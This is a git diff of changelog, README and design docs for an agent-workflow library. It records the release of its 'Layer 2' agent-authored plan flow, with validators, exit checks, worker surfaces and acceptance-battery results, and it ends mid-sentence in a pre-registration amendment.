diff --git a/CHANGELOG.md b/CHANGELOG.md index 50fee8e..999447a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,117 @@ feature lands, **patch** = docs, fixes, scaffolding. ## [Unreleased] +## [0.5.0] — 2026-07-23 + +### Added + +- **Layer 2 core — the plan-v1 flow (design record + `docs/plans/2026-07-21-layer-2-plan-v1-design.md`; premise validated in F46).** + The semantic converter, built: + - **job-v1 four-field plan shape** (`src/job.js`): `goal` / `verdictType` + (`green|soft-green|hitl` frozen radio — v1 admits `green` only; a locked type is a + `request-red` with the type as a structured `verb` field) / `close` / `checks[]` + (operator-SIGNED named checks: the predicate-close body + a slug name, same + validation, same runClose machinery; checks decide nothing and mint nothing) / + `tools` (the plan ceiling). Exclusive with legacy `steps[]` (`shape-conflict` red); + `steps[]` is co-existing scaffolding with a staged sunset — archives alongside + config-v1 when the Layer 2 path proves itself in its battery. + - **plan-v1 validator** (`src/plan.js`, `validatePlan`): gates the AGENT-authored + plan against the SIGNED spec — verbs ⊆ ceiling (`verb-escape`, verb as structured + data), rounds ≤ shell cap, targets/scopes inside the fence, exits from the closed + menu only (`exit-illegal`), `check-passes` resolving against the signed menu + (`check-unknown` names the menu), no `dependsOn` (strictly sequential — an inert + knob is a fake contrast lever), AND-only exit composition max 2, and the F17 + pairing law (check-passes on a write step demands tree-changed — the seed tree is + green). Fails CLOSED on a missing/non-plan-shape job (`job-invalid`). + - **exit evaluator** (`src/exits.js`, `snapshotScope`/`evalExits`): the shell's own + fixed code for `artifact-written` / `tree-changed` / `json-valid` / + `check-passes`. Outcome, never intent: sha256 snapshots, identical re-writes are + not changes (F43), git status never consulted (F45). Instrument faults ride out as + `fault` by runClose verdict name — escalated, never fed to the worker as a gap. + - **the judge seam** (`src/ralph.js`): `ralph({ judge })` — the PRD v1.12 §4 + generalization; shell-injected, inexpressible in any config or plan. Same verdict + vocabulary, so the forbidden zone, F32 worker-crash routing (a check crashed by the + worker's own test feeds back — the F46 mechanism), and cap taxonomy are unchanged. + - **the plan executor** (`src/planrun.js`, `runPlan`): close precheck + (`already-green` distinct, F17) → checks preflight ($0, before tokens) → read-only + SCOUT → PLAN (one redraft with reds fed back) → sequential micro-loops with + exit-gap feedback → ONE replan (exhaustion only) → the operator's close with one + bounded fix loop. Every round metered `worker-round` with a phase label (F12); + prompt contract v1.12 §5 mutation-proven; `plan-executed` (plan-as-executed, + design law #2) on the spine. + - **runJob dispatch** (`src/run.js`): a plan-shape spec routes through the ONE + runJob entry — same approval gate, smoke, ledger, and job-end money contract. + New outcomes: `already-green | plan-red | check-red | close-red`. + - 139 new tests (503 total), TDD throughout, 3 targeted mutations fired and killed. + Built and integration-tested against scripted providers. +- **Layer 2 rung ACCEPTED — the real-model acceptance battery (F47; prereg + `docs/02-experiments/TESTGEN-PREREG.md` §2026-07-22a/b).** Job #4 (TESTGEN) run + through the REAL plan flow (`runJob → runPlan`: scout → the agent DRAFTS the plan → + validator gates → per-step check-loops → outer grader), on `anthropic-api`, + claude-sonnet-5, vs F39's baseline (0 conversion) and the F46 POC (hardwired). + **3/3 valid acting rows converted (≥2/3 bar) → accepted; 3/3 cleared the 45% bar + (67.5/55/55, vs the POC's 27.5/40/37.5 with 0 at 45); 3/3 the agent composed the + `check-passes(clean-run)` exit ITSELF** (the one thing the POC could not test). Every + green driven by the step check-loop alone; all writes fenced, source frozen, secrets + clean; the F45 spend guard stopped an unpriced casualty. 7 provider-red casualties + across an Overloaded window (excluded as evidence), $27.36 of a $30 cap. This trips + the "path closes green end-to-end" milestone: **`steps[]` and config-v1 sunset on + landing.** Driver `scripts/run-battery-l2accept.mjs` (gained `--need`/`--priorUsd` + for a multi-run continuation under one governed cap). +- **Module 4d — native clipipe worker surface (BA-16; `bare-agent` → `^0.33.0`).** The + plan flow now runs on TWO surfaces: the `Loop` (API, unchanged) and, when + `job.provider === 'clipipe-subscription'`, the `claude` CLI's NATIVE tool channel — the + subscription path (no metered API). Since native governance is constructor-time and + per-worker, the runner takes a `nativeProvider` FACTORY (`{policy, onTurn?, maxTurns, + hasTools}) => provider`) it calls fresh per worker: `hasTools:true` → native tool mode + (the SAME `wireGate` fence clips onto the provider — a live POC proved an out-of-scope + write is DENIED); `hasTools:false` → the toolless drafter runs metered claude-json TEXT + mode (a native session reports no cost — this path keeps the drafter's spend visible). + Money reconciles per session (accounted `worker-round` = session total; `worker-turn` = + attribution); `max_turns` is a bounded attempt, not an escalation; a missing factory is + `interpreter-red`, never a silent fall-back to the API. 5 native tests + a live + end-to-end smoke on the real CLI (green, all workers metered, `spendComplete` honest). + +- **Native read-cap — the CLI truncation fix (F48; `bare-agent` → `^0.33.1`, BA-17 + ranged read).** On the `clipipe-subscription` surface the `claude` CLI truncates a large + tool result (~40–50KB, measured) BEFORE the model sees it — spilling the remainder to a + fenced-off `tool-results/` file and wrapping it in a "read in chunks" notice the model + distrusts as injection — so a whole-file `shell_read` of a large file blinded the native + worker (0-write stall). The runner now bounds the native `shell_read` result below the CLI + cap (`NATIVE_READ_CAP`) and returns a TRUSTED notice steering to `ctx_get` ranged retrieval, + plus a native-only strategy line; the API path is untouched (full result rides into context). + Measured: **0 → 7 writes** on the real job. Cross-surface verdict (F48): the native surface + is capable at the STEP but did not carry job #4 to a grade — 0/2 acting rows vs the API's + 3/3, and a 3.5× budget raise ($8→$28) was refuted (escalated on the F39 semantic-stall at + $7). IN only as a babysat, $0-marginal-billing fallback; **only the `anthropic-api` surface + is guaranteed.** Local LLMs remain deferred and unmeasured. + +### Fixed + +- **Layer 2 pre-release review (F48) — 4 fixes, 2 correctness** (TDD, failing-then-passing + test each; full suite 519/519): (1) a provider-red/gate-red raised DURING a step's micro-loop + was collapsed to `step-red:` — a transport CASUALTY recorded as a capability failure and + missing the F44 `spendComplete:false` floor; each terminal category now rides out under its own + name so the returned outcome and the emitted escalation agree (F11). (2) `tree-changed` counted + a sibling scope's files as deletions when a step had ≥2 tree-changed exits (merged snapshot), + falsely passing an unchanged scope — deletions are now scoped to the exit's own prefix. (3) + abandoned-plan artifacts no longer ride forward as the new plan's "prior steps' results" after a + replan. (4) dead `isUnpriced()` sub-conditions removed from the replan/cap-halt terminal (the + step-end guard already returns `pricing-red` first). +- **Layer 2 whole-branch review — 8 doctrine-restoring fixes to the plan flow** (all in the + graduated Layer 2 code, none in pre-existing modules; validated against source with 0 + refuted, a failing-then-passing test each): a `gold` close validated under `verdictType: + green` crashed `runPlan` with no `job-end` (now `close-unsupported` before tokens); the + `check-passes` gap was re-truncated to 400 chars, deleting the gapKeep failing-test names + (F28 reintroduced — now carried whole); no in-flight `pricing-red` (F6 — now bails at + scout/plan/step); the plan drafter's Gate budget was frozen pre-execute and reused for the + replan (now a fresh drafter per `obtainPlan`); a money-gate halt triggered a replan instead + of stopping (F45 — now gated on funds, drained → honest `cap-halt`); the step-setup catch + recorded a category the escalation contradicted (F11 — now agreed); the plan branch dropped + F44's `spendComplete:false` on a transport-throw `provider-red`; a write-only tool ceiling + validated, blinding the scout (now requires ≥1 read-capable verb). + ## [0.4.0] — 2026-07-21 ### Added diff --git a/README.md b/README.md index 7a95439..0704846 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@

version (auto from package.json) license: Apache 2.0 - status: Layer R, ratchet armed + status: Layer 2, accepted

**"Automate this job — I don't know the best workflow."** For tasks that are **repeated, @@ -25,15 +25,15 @@ inheritance with ledger-counted attribution. The pitch in one line: **workflows that earn their own design, with receipts** — every inherited rule carries the green that minted it and the contrast that attributed it. -> **Status: Layer R — the within-run ratchet is built and armed.** `runJob()` takes a -> signed job spec through draft → per-step worker loops → close verdicts → draft PR, -> under one budget the agent can only tighten; the shell now also detects a worker -> stuck repeating itself and feeds back its own failed attempts (escalating -> summary→verbatim). Two frozen probes found the disease in remission under the current -> loop (F41: 0 fixated pairs in 14, jobs #1/#2/#4), so the ratchet ships inert-by- -> measurement with its field read deferred to the first run that trips it. Next is -> Layer 2 (plan-v1 micro-wheels), then executed inheritance (N3) — the ladder's -> kill-switch question. +> **Status: Layer 2 — accepted.** The agent now authors its own workflow: `runJob()` +> takes a signed job spec, surveys the repo, **drafts a validated plan of bounded steps** +> (each with an operator-signed self-check it may reference but never author), and runs it +> under an un-gameable outer close and one budget it can only tighten. On the real-model +> acceptance battery (F47) the emergent flow converted a job the same worker failed 4/4 +> before — 3/3 runs, clearing the owned bar every time, composing its own check exits. The +> within-run ratchet (Layer R) ships armed-and-inert by measurement (F41). Next: **N3 — +> executed inheritance**, where the workflow persists and improves across runs (the +> ladder's kill-switch question). ## Quick start diff --git a/bareloop.context.md b/bareloop.context.md index b9bc667..e83a7c0 100644 --- a/bareloop.context.md +++ b/bareloop.context.md @@ -1,10 +1,16 @@ # bareloop — Integration Guide -> **Current through N2** (headless single-job loop: `runJob`, text + tool middles, the -> draft-PR hitl step); API sections fill in as build-ladder rungs land (PRD §10). What is -> settled — the boundary, the architecture, the refusals, the constraints — is settled -> for good. Per LIBRARY_CONVENTIONS §3 this file ships with the package and is the -> complete adopter contract; the README is only the pitch. +> **Current through Layer 2 (ACCEPTED, F47)** (headless single-job loop: `runJob`, text + +> tool middles, the draft-PR hitl step; the plan-v1 flow — four-field job shape, agent- +> authored validated plans, in-run check exits — validated end-to-end on the real-model +> acceptance battery: 3/3 conversion, 3/3 over the owned bar, the agent composing its own +> check exits). The plan shape is the primary path; legacy `steps[]` co-exists but sunsets +> on landing. Runs on two worker surfaces — the API `Loop` and, for +> `clipipe-subscription`, the CLI's native tool channel (module 4d). API sections fill in +> as build-ladder rungs land (PRD §10). What is settled — the boundary, the architecture, +> the refusals, the constraints — is settled for good. Per LIBRARY_CONVENTIONS §3 this +> file ships with the package and is the complete adopter contract; the README is only +> the pitch. ## What this is @@ -80,6 +86,22 @@ unknown-field reds. | `steps[].tools` | unique subset of `read\|grep\|write\|edit\|recall\|get` | the SPEC-side tool grant (`TOOL_MENU`, frozen; defaults to the full menu) — the drafted config cannot express mode or tools; `edit` (BA-13) is the anchored exact-once replace, judged by the SAME writeScope fence as `write`; requesting `run` (`LOCKED_TOOLS`) reds with the DISTINCT code `request-red` (locked-but-listed: the red IS the admission evidence the ledger tallies; a typo stays `invalid-value`) | | `escalation` | `{ mode: "decision-ready" }` | the pain channel is not optional | +**The plan shape (Layer 2, design record 2026-07-21).** A job-v1 spec declares EITHER the +`steps[]` chain above OR the four-field plan shape — never both (`shape-conflict` red). +In the plan shape the AGENT authors the step plan at run time (gated by `validatePlan`); +the human signs only: + +| field | shape | notes | +|---|---|---| +| `goal` | non-empty text | what the agent plans against | +| `verdictType` | `green` \| `soft-green` \| `hitl` | declared radio, never inferred (`VERDICT_TYPES`, frozen). v1 ADMITS only `green`; declaring `soft-green`/`hitl` reds `request-red` with the type as a structured `verb` field (declared-but-locked — the tool-menu pattern) | +| `close` | a close object (table below) | ONE close, the only truth; `green` demands a hard-class close (`close-hierarchy` red on a rubric/hitl close) | +| `checks` | optional array of `{ name, cmd, expect, judged?, gapKeep? }` | the operator-SIGNED named-check menu: the predicate-close body plus a kebab slug `name`, validated by the same rules, executed under the same runClose machinery. Plans reference them via the `check-passes(name)` exit; the agent can never author, edit, or compose one. **Checks decide nothing and mint nothing** — a check result is a progress gate and a gap source only | +| `tools` | optional unique subset of `TOOL_MENU` | the CEILING every plan step's grant must fit inside (defaults to the full menu); `run` reds `request-red` here exactly as on a step grant. On a legacy `steps[]` spec this field is an `invalid-value` red (steps grant tools per step) | + +`steps[]` is co-existing scaffolding with a staged sunset: it archives alongside +config-v1 once the Layer 2 path proves itself in its battery — not before. + **Close types and the hierarchy** (a close is data, never code; verdict-class laundering is a named red `close-hierarchy`): @@ -140,18 +162,36 @@ drafted workflow config cannot express it (unknown-field red). The gap path also **both** streams (stdout + stderr), so a failure printed to stdout survives stderr noise (F28's adjacent hazard — the old `err || out` returned stderr alone and lost it). -Red vocabulary (both validators): `parse-error`, `unknown-field`, `missing-required`, +**The plan document (`schema: "plan-v1"`, AGENT-authored — the only document the emergent +middle writes; `validatePlan` gates it against the SIGNED job spec before tokens burn):** + +| field | shape | notes | +|---|---|---| +| `steps` | ordered array, 1..8 (`MAX_PLAN_STEPS`) | strictly sequential — array order IS the order; no `dependsOn` (unknown-field red: an inert knob is a fake contrast lever) | +| `steps[].id` | kebab slug, unique | | +| `steps[].action` | non-empty text | the step's task — the worker sees only this step | +| `steps[].tools` | non-empty unique subset of the SPEC ceiling | a verb beyond the ceiling reds `verb-escape` with the verb as structured data (overreach, distinct from the operator-side `request-red`); `run` is `verb-escape` at every layer | +| `steps[].rounds` | int 1..shell cap (default 40) | the step's per-attempt tool-round bound (the Gate's `maxTurns` natively) | +| `steps[].target` | path inside the fence | v1.18 deliverable; REQUIRED on write-granted steps | +| `steps[].exit` | 1..2 items (`MAX_EXITS_PER_STEP`), ALL must pass (AND-only, no OR/NOT) | closed menu (`EXIT_TYPES`): `artifact-written(path, pattern?)` · `tree-changed(scope)` · `json-valid(path)` · `check-passes(name)`. `check-passes` must name a SIGNED check (`check-unknown` red names the signed menu); on a write-granted step it must be paired with `tree-changed` (`exit-illegal` — the seed tree is green, a lone check would pass untouched, F17/F46). Exits verify FORM, not truth — progress gates; the operator's close stays the one arbiter | + +Red vocabulary (all three validators): `parse-error`, `unknown-field`, `missing-required`, `invalid-value`, `bounds`, `duplicate-id`, `close-type`, `close-hierarchy`, -`secret-literal`, `scope-escape`, `fence-invalid` (a malformed `jobWriteScope` fence — attributed to `jobWriteScope`, never the workflow config), plus the workflow-side verb reds (`verb-illegal`, -`verb-placement`, `verb-params`, `slot-overflow`). The `secret-literal` sweep is +`secret-literal`, `scope-escape`, `fence-invalid` (a malformed `jobWriteScope` fence — attributed to `jobWriteScope`, never the workflow config), `shape-conflict` (both job shapes declared), +`request-red` (locked-but-listed: a locked tool or verdictType — admission demand the +ledger tallies), plus the workflow-side verb reds (`verb-illegal`, +`verb-placement`, `verb-params`, `slot-overflow`) and the plan-side reds (`verb-escape`, +`exit-illegal`, `check-unknown`, `job-invalid` — a plan validated against a missing or +non-plan-shape job fails CLOSED). The `secret-literal` sweep is defense-in-depth against known token shapes — env-only loading remains the law, not the sweep. ## Public API -*Landed through N2 (spine + shell + both validators + interpreter with text/tool middles -+ extractor + runJob). Still TBD: N3 (contrast-bit extractor live), N4 (verdict classes — -gold/rubric close EXECUTION), N5 (scheduler + budget ops + CLI), N6 (panel).* +*Landed through N2 + the Layer 2 core (spine + shell + three validators + interpreter +with text/tool middles + the plan executor + extractor + runJob). Still TBD: N3 +(contrast-bit extractor live), N4 (verdict classes — gold/rubric close EXECUTION), N5 +(scheduler + budget ops + CLI), N6 (panel).* ### `makeSpine(file)` → `emit(type, data?)` — `src/spine.js` @@ -159,7 +199,7 @@ Append-only JSONL event emitter bound to one file. `seq` monotonic per spine, `t last. Consumers are pure listeners; nothing reads the file back. Returns each event as written. -### `ralph({ middle, close, capRuns, emit, redact?, closeTimeoutMs?, cwd?, expect?, judged?, gapKeep?, workerWrites? })` → `'green' | 'escalated'` — `src/ralph.js` +### `ralph({ middle, close?, judge?, capRuns, emit, redact?, closeTimeoutMs?, cwd?, expect?, judged?, gapKeep?, workerWrites? })` → `'green' | 'escalated'` — `src/ralph.js` The dumb outer shell: `while close-red and under-cap: run the middle`. `close` is an argv whose exit code is truth (`runClose` is also exported); the red gap text feeds the next @@ -205,6 +245,15 @@ to the gate audit's allow-decision write/edit lines (run_id-scoped); no seam or keeps the old behavior — an instrument crash still escalates `close-crashed`, never retried. Measured motivation: battery pass 1 (F31) lost 4 of 7 rows to exactly this escalation. +**The judge seam (Layer 2, PRD v1.12 §4).** `judge?: async () => {verdict, gap?, detail?}` +— a SHELL-injected replacement for `runClose`, so a plan step's micro-loop is judged by +the exit evaluator instead of a command. It returns the same verdict vocabulary, so the +forbidden zone, F32 worker-crash routing (a check crashed by the worker's own broken test +feeds back — the F46 mechanism), and the cap taxonomy apply unchanged. `close` becomes +optional when `judge` is present; the seam is wired by `runPlan` only and is +inexpressible in any config or plan — the agent never authors its judge any more than +its close. + Escalations are decision-ready (category, options, spend); cap-halt is its own category, never merged with "wrong". A thrown middle is relayed by its `category` property (`cap-halt`, `gate-red`, …); an unnamed throw is `interpreter-red`. Close output @@ -235,9 +284,35 @@ a leak on the very output it was guarding. The operator-owned sibling (never an extension) of `validateConfig`: validates a `job-v1` spec — see **All options** for the full schema, close types, and hierarchy. Never throws on JSON text or plain parsed data (the ingest contract); returns the -parsed spec on ok, `null` on any red. Menus exported: +parsed spec on ok, `null` on any red. Validates BOTH job shapes (legacy `steps[]` and +the Layer 2 plan shape — see the option tables above). Menus exported: `CLOSE_TYPES`, `CLASSES`, `CLASS_BY_CLOSE`, `GOLD_COMPARE`, `CADENCE_UNITS`, -`PROVIDERS`, `CONDITION_KEYS`, `STEP_MODES`, `TOOL_MENU`, `LOCKED_TOOLS`. +`PROVIDERS`, `CONDITION_KEYS`, `STEP_MODES`, `TOOL_MENU`, `LOCKED_TOOLS`, +`VERDICT_TYPES`, `LOCKED_VERDICTS`. + +### `validatePlan(input, { job, maxStepRounds? })` → `{ ok, reds, plan }` — `src/plan.js` + +The third validator: gates the AGENT-authored plan doc (`schema: "plan-v1"`) against the +SIGNED job spec before tokens burn — the ceiling, the fence, and the checks menu all come +from `job` (a missing or non-plan-shape job fails CLOSED, `job-invalid`). Never throws; +same `{ code, path, detail }` red shape as its siblings; `verb-escape` reds carry the +escaping verb as a structured `verb` field (the ledger keys on it). `maxStepRounds` +(default 40 — the shell's tool-mode per-attempt bound) ceilings every step's `rounds`. +Menus exported: `EXIT_TYPES`, `MAX_EXITS_PER_STEP`, `MAX_PLAN_STEPS`, `WRITE_VERBS`. + +### `snapshotScope(dir, scope)` / `evalExits(exits, { dir, snapshot?, runCheck? })` — `src/exits.js` + +The shell's own fixed code for the closed exit menu — nothing here executes +agent-authored text. `snapshotScope` hashes every file under a scope prefix (the +"before" side of `tree-changed`; a missing dir snapshots empty). `evalExits` is AND-only +and never short-circuits — the result names EVERY failing wall (`{ pass, results }`, +each result `{ type, pass, detail?, fault? }`). `tree-changed` reads OUTCOME (bytes vs +the snapshot): an identical re-write is NOT a change (F43) and git status is never +consulted (F45). `artifact-written` rejects zero-byte files. `check-passes` delegates +through the `runCheck` seam (the runner wires runClose); an unwired or crashed seam +fails CLOSED with `fault` carrying a runClose verdict name — an instrument fault +escalates through `CLOSE_FAULTS`, never masquerades as worker feedback. Failing details +are counts and names only, never file bodies (they ride the append-only spine). ### `jobSpecHash(job)` / `checkApproval(job, approvals)` — `src/job.js` @@ -310,7 +385,7 @@ default-enabled until a stuck job (Layer 2, or a manufactured-fixation probe) sh beats OFF. Flip the default to `true` the day that evidence lands; a `root-injected` event on your spine (when you pass `layerRoot: true`) is a signal worth reading, not noise. -### `runJob(spec, { approvals, workdir, provider, emit, target?, capRuns?, shellCapUsd?, closeTimeoutMs?, execCmd?, layerRoot? })` → outcome — `src/run.js` +### `runJob(spec, { approvals, workdir, provider, nativeProvider?, emit, target?, capRuns?, shellCapUsd?, closeTimeoutMs?, execCmd?, layerRoot? })` → outcome — `src/run.js` The N2 runner — the shell's top layer; composes everything below it and interprets nothing itself. Sequence: **approval gate** (human-signs-always — refuses an unapproved @@ -349,6 +424,49 @@ launder a missing `spentUsd` into `$0`. A text-mode job invoked without `opts.ta before ANY provider call (and `interpret` itself throws a TypeError for direct callers) — reds-before-tokens applies to the call, not just the spec. +**The plan flow (Layer 2).** A plan-shape spec routes through the SAME `runJob` entry — +same approval gate, same smoke, same metered ledger, same job-end money contract +(`job-start` carries `shape: 'plan'` + the goal instead of a steps list; no `opts.target` +needed — plan steps are tool-mode by construction). The flow (`runPlan`, also exported +for direct callers who own their own ledger): **close precheck** (`already-green` is a +DISTINCT zero-token outcome; a forbidden-zone verdict escalates before spend) → **checks +preflight** (every SIGNED check runs once at $0 — an unrunnable check is a `check-red` +stop before tokens, not a fault mid-plan) → **SCOUT** (read-only by construction: the +write verbs are not in its menu; hard-bounded rounds) → **PLAN** (the decompose call — +the planner never sees the repo, only the scout blob; drafted against a schema +description with check NAMES only; `validatePlan` gates it, one redraft with the reds +fed back, then `plan-red`) → **EXECUTE** (strictly sequential micro-loops: `ralph` with +the exit-evaluator judge; tree snapshots at step start; the gap names every failing +wall — mechanical genre, F46's measured mechanism; artifacts feed forward labeled by +step id) → **ONE replan**, triggered by exhaustion only (an instrument stop never +replans) → **the operator's close**, a red feeding ONE bounded fix loop judged by the +REAL close. `plan-executed` (the plan-as-executed record, design law #2) lands on the +spine on every path that executed steps. Additional outcomes: `already-green | +plan-red | check-red | close-red`. Worker prompts hold the v1.12 §5 contract +(mutation-proven): the absolute repo root, the step's action/target, prior artifacts, +the gap — NEVER the budget, the close command, a check's command, or the arbiter's books. + +**Two worker surfaces — API and native clipipe (BA-16, module 4d).** The plan flow is +provider-agnostic: the close, the checks, and the exit evaluator are commands and form +checks, so ONLY the worker differs. `job.provider === 'clipipe-subscription'` drives tools +NATIVELY (the `claude` CLI owns the turn cycle) instead of through the `Loop`; every other +provider runs the Loop unchanged (byte-identical — the API path cannot regress). Native +governance is **constructor-time and per-worker**, so the runner cannot reuse one injected +instance: pass `opts.nativeProvider`, a FACTORY the runner calls fresh per worker as +`({ policy, onTurn?, maxTurns, hasTools }) => provider`. Return the right mode by `hasTools`: +`true` → native tool mode (`toolProtocol:'claude-mcp'`, wire the gate's `policy` + `onTurn` + +`maxTurns` onto the provider — the SAME `wireGate` fence, so a write outside the scope is +DENIED at the bridge, live-proven); `false` → the toolless drafter, where a native session +reports NO cost, so return a metered claude-json TEXT provider (`--output-format json`, +`parse:'claude-json'`) — never an unmetered, invisible-spend session. A missing factory on a +`clipipe-subscription` job is `interpreter-red`, never a silent fall-back to the metered API. +Money reconciles PER SESSION (the CLI prices the session, `costUsd` null per turn, +authoritative at close): the accounted `worker-round` is the session total, per-turn +`worker-turn` events are attribution only. `maxTurns` (→ CLI `--max-turns`) is the +per-attempt bound and surfaces `max_turns` as a BOUNDED attempt (judged, gap fed forward), +the native analog of `loop.stop()`. Live-validated green end-to-end on the real CLI; the +Loop path is untouched. + **Resume-to-cap (close-first skip):** every predicate step runs its close FIRST, before any tokens (`close-precheck` on the spine, output scrubbed at capture like every close). Already-green skips the step for zero tokens as a DISTINCT record — `step-end` outcome diff --git a/docs/01-product/LAYERS.md b/docs/01-product/LAYERS.md index 33917df..83e8930 100644 --- a/docs/01-product/LAYERS.md +++ b/docs/01-product/LAYERS.md @@ -107,7 +107,7 @@ verb blocks the work, the worker files a *request-red* and a human decides. ``` Layer 3 INHERITANCE the road survives runs, with receipts; self-heals (not built — N3) -Layer 2 MICRO-WHEELS the road itself: locate → understand → write → verify (designed — plan-v1) +Layer 2 MICRO-WHEELS the road itself: locate → understand → write → verify (built + ACCEPTED — F47, v0.5.0) Layer R THE ROOT memory that survives attempts inside one run (built — armed-and-inert, F41) Layer 1 ONE WHEEL a single loop over the whole task (built; first real firing NOW) ``` @@ -160,6 +160,13 @@ The workflow becomes a **sequence of small wheels**, each with one goal and only that goal needs (locate gets `grep`/`recall`; write gets `write`; nobody gets `run`). The agent drafts this road per job; a validator gates the draft before any tokens burn. +**Status: built + ACCEPTED 2026-07-22 (F47), shipped v0.5.0.** The real plan flow +(SCOUT → PLAN → per-step micro-loops judged by the exit evaluator → one replan → the +operator's close) converts job #4 3/3 and clears the 45 bar 3/3 on the API surface; the +in-run operator-signed check TRANSLATES the semantic ask into the mechanical genre (F46). +Cross-surface (clipipe) reads OUT-as-peer (F48): only the API is a guaranteed surface. Open +follow-up: F49 (bound the agent-authored exit regex). + **Stage verdicts (decided 2026-07-15, hamr):** a micro-wheel validates against **its own eval** where one exists — a mechanical check the stage cannot game; where none exists, it **inherits judgment from its parent wheel's verdict chain** (green / soft-green / hitl). @@ -325,6 +332,15 @@ run 2 starts from run 1's road and improves it; a red run inherits nothing. the exact F39 death mid-run — and kill-rate rose 3/3 (no 45-green yet; that question belongs to the build's battery). "Notes + self-check succeeds" is now observed at POC tier; the build designs it properly (design record 2026-07-21).** + **Build core LANDED 2026-07-21 (branch `layer-2-plan-v1`, second interview locked + decisions 6–9):** the four-field job shape (goal/verdictType/close/checks[], exclusive + with `steps[]` under a staged sunset), the plan-v1 validator (`verb-escape` / + `exit-illegal` / `check-unknown`, F17 pairing law), the exit evaluator (outcome-reading + snapshots, fault propagation), ralph's judge seam, the plan executor (scout → validated + plan → micro-loops with check-gap feedback → one replan → close + one fix loop), and + the runJob dispatch — 503 tests, TDD, mutation-spot-checked. Scripted-provider + evidence only so far: **the rung's acceptance gate is the real-model battery (job #4, + same close, same frozen 45 bar, read against F39's baseline), which has NOT yet run.** **Also owns the Layer R default decision:** the first Layer 2 job that produces natural fixation runs the ON-vs-OFF acceptance read, and that result flips `layerRoot` to `true` (ON helps) or keeps it `false` (no lift) — see the Layer R ⚠ note above. diff --git a/docs/01-product/PRD.md b/docs/01-product/PRD.md index f008f62..d71afae 100644 --- a/docs/01-product/PRD.md +++ b/docs/01-product/PRD.md @@ -133,6 +133,14 @@ place where *repeated, verifiable* jobs get better at themselves. - **The close chain is wrong/gameable for a real job** → close-authoring hierarchy + the §4b channel declaration; a close the operator can't explain is a close the product shouldn't trust. +- **Cheaper worker surfaces as API substitutes** → RESOLVED for clipipe (F48): only the + `anthropic-api` surface is guaranteed. The `clipipe-subscription` (Claude CLI) surface is + capable at the step level but did not carry job #4 to a grade in 2 rows (0/2 vs API 3/3), + and a 3.5× budget raise ($8→$28) was REFUTED — it escalated on the F39 semantic-stall at + $7 of $28, not on money. It buys $0-marginal billing at a permanent tax (~2.5–3× notional + effort, always slower, no resume, same F39 ceiling): IN only as a babysat fallback, never a + peer. Local LLMs remain deferred and UNMEASURED — no local surface exists; the reasoned + (unproven) expectation is the same or worse F39 ceiling plus tool-call-fidelity risk. ## §10 Build order (module ladder, sketch — each rung POCs its riskiest assumption) @@ -1264,3 +1272,44 @@ oversight. Stated here so future reviewers read position, not omission. doctrine: a rule the N3 memorization audit certifies as GENERAL (not a memorized answer) is the transfer candidate, and the lineage key already supports per-task-family splits (§9/V3). Post-N3, evidence-gated. + +## Addendum v1.22 — 2026-07-22 (Layer 2 ACCEPTED: the agent authors a workflow that clears the bar — F47) + +The Layer 2 rung passed its pre-registered acceptance gate (TESTGEN-PREREG §2026-07-22a/b, +FINDINGS F47). Job #4 ran through the REAL plan flow — the agent surveys, **drafts the +plan itself**, the validator gates it against the signed spec, per-step check-loops run, +the operator's grader closes — on `anthropic-api` / claude-sonnet-5, read against F39's +0-conversion baseline and the F46 hardwired POC. + +**Result (frozen n=3, valid acting rows only):** 3/3 L2-CONVERT (≥2/3 bar → accepted); +3/3 green above the 45% bar (67.5/55/55, surpassing the POC's 27.5/40/37.5 with 0 at 45); +**3/3 the agent composed the `check-passes(clean-run)` exit itself** — the build-specific +claim the POC (which hardwired the composition) could not test. The step check-loop alone +drove every green (no grader fix loop fired). All writes fenced, source frozen, secrets +clean; the F45 spend guard stopped an unpriced casualty; 7 provider-red casualties across +an Overloaded window (never evidence), $27.36 of $30. + +**What this settles.** The thesis's single untested claim — "notes + self-check succeeds" +(F38/F39) — holds on the emergent flow, not just a hardwired one: the agent authors the +workflow structure (a plan of bounded steps, each with an operator-signed self-check it +selects but cannot author) under an inexpressible arbiter, and that structure converts a +job the same worker failed 4/4 in F39 AND reaches the owned bar. The genre chain closes: +F38 (mechanical converts) → F39 (delivery/state is not the gap) → F46 (an in-run check +translates semantic→mechanical, hardwired) → **F47 (the agent does it itself, and clears +the bar).** + +**What it does NOT claim.** n=3 is existence + direction, never a rate; the delta over the +POC's 0/45 is an unminted rounds-vs-decomposition confound (the real flow gives far more +total rounds AND per-step structure). Acceptance is the conversion read; the 45-bar greens +are the recorded secondary. + +**Consequences (landing).** The "Layer 2 path closes green end-to-end" milestone is met, so +**`steps[]` and config-v1 sunset on landing** (design record decision 6 / §110). No row +recorded `root-injected` → Layer R's ON/OFF flip did not trigger; `layerRoot` stays OFF, +decision unchanged (F41 consistent). Next rung: **N3 — executed inheritance** (the workflow +persists and improves across runs; the paired inheritance-ON/OFF kill-switch, v1.15). Two +gaps named by this battery, carried forward: **within-run resume** from a transport-hit +plan (the plan-as-executed spine already holds the checkpoint; not yet wired), and a +**separate clipipe-subscription battery** to validate the native surface (module 4d) on its +own baseline. Process note (F47): run 1 fired without the frozen pre-fire health probe (4 +casualties), and a single-message liveness probe is not a sustained-load throughput check. diff --git a/docs/02-experiments/TESTGEN-PREREG.md b/docs/02-experiments/TESTGEN-PREREG.md index 535c2f4..e8a6024 100644 --- a/docs/02-experiments/TESTGEN-PREREG.md +++ b/docs/02-experiments/TESTGEN-PREREG.md @@ -779,3 +779,127 @@ battery, not this POC. **Disposition:** design record step 2 fires — design the real plan-v1 build (step schema + validator + checks menu); the POC harness is throwaway and ships nothing. Full record: FINDINGS F46. + +## Amendment 2026-07-22a — the Layer 2 rung ACCEPTANCE battery (frozen BEFORE any number) + +The build landed (branch `layer-2-plan-v1`, 517 tests: four-field shape, plan-v1 +validator, exit evaluator, plan executor, runJob dispatch, native clipipe surface). +This is the rung's exit gate: **job #4 through the REAL plan flow**, not the POC's +throwaway harness. Driver `scripts/run-battery-l2accept.mjs`, spec +`jobs/aurora-testgen-l2accept.json` (four-field plan shape, specHash +`af338c9b3227da6a25846188721397f681e6fa69a7f9100de432227f24bcd53a`). + +**hamr's authorization (2026-07-22, AskUserQuestion):** surface `anthropic-api`; +`$8/row`, target `n=3` valid rows; **draft + freeze + STOP for sign-off before any +spend** (this amendment is that freeze). The acceptance-vs-recorded read split below +is the one load-bearing choice carried into 